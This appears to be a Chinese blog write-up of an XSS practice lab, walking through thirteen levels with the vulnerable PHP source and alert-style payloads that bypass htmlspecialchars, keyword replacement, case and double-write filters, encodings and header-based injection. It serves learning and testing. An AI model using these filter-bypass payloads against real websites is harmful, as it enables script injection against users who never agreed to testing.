目录
环境
关卡
level 1
level 2
level 3
level 4
level 5
level 6
level 7
level 8
扩展
level 9
level 10
level 11
level 12
level 13
总结
环境
PHP:php7.3.4nts
中间件:Nginx1.15.11
工具:Hackbar
关卡
level 1
代码审计:
Dom反射型,url -> web
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
//可以看到没有对输入有任何过滤
//意思就是我们可以任意操控$str的内容,那就可以用"把name的传的值先闭合了
//如果name的值传的是1"<script>alert</script>
//那解析后就会变成👇
echo "<h2 align=center>欢迎用户"1"<script>alert</script>"</h2>";
byPass:考查 -- 闭合双引号
"<script>alert(xss)</script>
"<script>confirm('xss')</script>
"<script>alert(String.fromCharCode(65))</script>
"<a href="javascript:alert('xss')">aaa</a>
"<img src=1 onerror="alert('xss')">
"<svg onload=alert(1)>
"<video src=1 onerror=alert(1)>
"<button onfocus=alert(1) autofocus>
"<body onload=alert(1)>
"<iframe src="javascript:alert('1')"></iframe> (这个是成功的,只是不算过关而已)
"<iframe onload=alert(1)></iframe>
"<input onfocus=alert(1) autofocus>
(挑着没被过滤掉的用就行,后边也有能用着的)
level 2
初步观察有点像普通反射型xss(url -> 服务器 -> web)
代码审计:
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
(发现这玩意两头通,如果走下面的input就是普通反射,走url就是dom反射)
注意:.htmlspecialchars($str).是把str中的" < > &都变成html实体了,
所以不会解析出来,所以那里是走不通的
byPass:考查 -- 闭合input标签 ">
"><img src=1 onerror="alert('xss')
"><script>alert(1)</script>
" onmouseover="alert(1) (也可也直接在input里玩)
//记着str的前后内容"'str'">
...
level 3
和2的样子差不多,直接试试2的bypass能过不
显然,没闭合上
代码审计:
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
分析 :这里很贴心的营造了能过关的环境,htmlspecialchars转换默认是不会转换 ' 的,所以只需要 ' 闭合value后,在input中使用on触发事件即可
尝试 ' οnclick=alert(1)
后边还差个单引号
bypass:考查 -- 在默认情况下绕过htmlspecialchars
' onclick=alert(1)'
' onmouseover='alert(1)
...
level 4
传个双引号发现前端变这样了,决定试一下" οnclick="alert(1) ..过了
代码审计:
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
<input name=keyword value="'.$str3.'">
分析:只是把左右尖括号给替换掉了,不用标签就行,直接on触发事件
byPass:
" onclick="alert(1)
on...
level 5
感觉level4那些on事件能行,试上一试
on被替换成o_n了
代码审计:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
<input name=keyword value="'.$str3.'">
分析:先是把传的值变小写了,然后把<script>和on都给屏蔽了,level1里边一堆bypass都没用到<script>直接抓来用,记得闭合value和input标签
byPass:
"<a href="javascript:alert('xss')">aaa</a>
不用on和<script>...
level 6
传个双引号又把value闭合了,估计又过滤了一些输入
试一试大小写绕过没," oNclick="alert(1)
显然这个题应该考的就是大小写
代码审计 :
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
<input name=keyword value="'.$str6.'">
分析:没把输入过滤大小写
byPass:考查 -- 大小写绕过
" oNclick="alert(1)
大小写都没绕随便pass...
level 7
反手试一下传个"
说明还是在过滤上下功夫
代码审计:
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword value="'.$str6.'">
分析:上面的双引号出不来闭合不上,只能从下边想办法,做了小写处理大小写绕过也不考虑了,之后过滤的东西太多,把我知道的差不多都过滤了, 但他的过滤是替换成空,直接双写拿下
byPass:考查 -- 双写绕过
" oonnclick="alert(1)
只要双写,bypass就多了 <scrscriptipt>等等,过滤后会去中间留两边
level 8
多了个新东西
随便试一下 " οnclick=alert(1)
全被换成实体字符了,既然如此看能不能用关于a标签的绕过把友情链接那绕过了
实验 " href="javascript:alert('xss')
老实代码审计:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
<input name=keyword value="'.htmlspecialchars($str).'">
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
扩展
HTML字符实体:<>
HTML字符编码:javascr
URL编码:%61%6c%65%72%74%28%32%29
Unicode编码:\u0061\u006c\u0065\u0072\u0074
例子1:<a href="javascript:
%61%6c%65%72%74%28%32%29">
解析过程:丢给html解析->检测到后边有url编码,丢给url解析器解析->发现有javascript:然后丢给js模块解析,js能把unicode(只能字符串和标识符 _ 字母 数字 )解析了
例子2:<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>
<script>只能容纳文本所以会直接丢给js处理,()不在字符串和标识符范围内,所以必须直接写不能用unicode编码,这里有意思的是,解析完按道理说是alert(12)但是12用了两个编码那就会被认成字符串,既然是字符串就要''所以这里也会解析失败
正确:<script>\u0061\u006c\u0065\u0072\u0074( '\u0031\u0032' )</script>
byPass:
javascript:alert(1)
解析出来是javascript:alert(1)
level 9
先把level8的来试一试
看来是对输入进行了判断
代码审计:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
<input name=keyword value="'.htmlspecialchars($str).'">
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
试一下把alert(1) 换成 alert( 'http://' )
成功了
byPass:
javascript:alert('http://')
还可以把后边的alert换成url编码
javascript:%61%6c%65%72%74%28'http://'%29
level 10
在前端代码里找到了点好玩的东西(下面的隐藏属性)
传参看看能传进去不
发现t_sort居然传进去了,直接动手换type
现在t_sort的value到type的空间已经可以任意施为了
byPass:
keyword=1&t_sort=" onclick=alert(1) type="text"
顺便看看代码:很明显能传俩参数
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name="t_sort" value="'.$str33.'" type="hidden">
level 11
有点像level 10再看看
好家伙,多了个t_ref看着是个url从名字上来看是referer
传着看看
t_ref没传进去,显然不是参数,t_sort传进去了?!莫非...
?keyword=1&t_sort=" type="text" 玩进去试试,没生效,看来是被过滤成文本了
代码审计:
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
分析:t_sort的值用htmlspecialchars过滤了,逃不出去只能从t_ref动手,t_ref的值是referer所以传来试试
byPass:
level 12
这属性有点眼熟
实验一下
通了,这算是一个题考两次了
顺便看代码:
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_ua" value="'.$str33.'" type="hidden">
level 13
看着有点眼熟,cookies试一试
错了,应该没这么简单,需要有正确的cookies
这是现在的cookies
byPass:
总结
这些xss都较为简单,包括了一些解析顺序,编码方式,请求头的一丢丢知识,但都只是selfxss,不堪大用,不过作为xss入门还是很好的。